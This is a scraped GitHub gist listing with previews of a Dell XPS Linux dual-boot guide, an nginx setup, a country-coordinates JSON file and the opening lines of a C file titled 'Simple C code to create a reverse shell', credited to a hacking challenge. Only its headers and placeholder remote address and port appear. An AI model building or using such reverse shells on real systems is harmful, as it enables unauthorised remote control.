Skip to content

Instantly share code, notes, and snippets.

View ansien's full-sized avatar
🌍
andries.io

ansien ansien

🌍
andries.io
  • The Netherlands
View GitHub Profile
@ansien
ansien / how-to.md
Last active May 5, 2021 18:03
How To Install Linux / Ubuntu on a Dell XPS 13 (Dual Boot) - 2021

How To Install Linux / Ubuntu on a Dell XPS 13 (Dual Boot) - 2021

Requirements

  • A Dell XPS laptop (new or used).
  • A USB stick that has enough space for the Linux distro you want to install.
  • USB 3.0 Male to USB-C converter (comes with Dell XPS laptop)

Notes

  • I used Linux Mint - Cinnamon, it works perfectly out-of-the-box on the Dell XPS and is great for beginners, programmers and casual users.
  • Make sure you back up all your files before doing any of the steps below!
@0xabe-io
0xabe-io / reverse_shell.c
Created January 6, 2015 15:24
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
@jimothyGator
jimothyGator / README.md
Last active April 25, 2024 18:00
Nginx configuration for Mac OS X with Homebrew, using sites-enabled directory.
mkdir -p /usr/local/etc/nginx/sites-{enabled,available}
cd /usr/local/etc/nginx/sites-enabled
ln -s ../sites-available/default.conf
ln -s ../sites-available/default-ssl.conf

File locations:

  • nginx.conf to /usr/local/etc/nginx/
  • default.conf and default-ssl.conf to /usr/local/etc/nginx/sites-available
  • homebrew.mxcl.nginx.plist to /Library/LaunchDaemons/
@sindresorhus
sindresorhus / countrycode-latlong-array.json
Created November 5, 2011 16:03
Country codes (ISO 3166) to latitude longitude - converted from http://www.maxmind.com/app/country_latlon
{
"ad": [
"42.5000",
"1.5000"
],
"ae": [
"24.0000",
"54.0000"
],
"af": [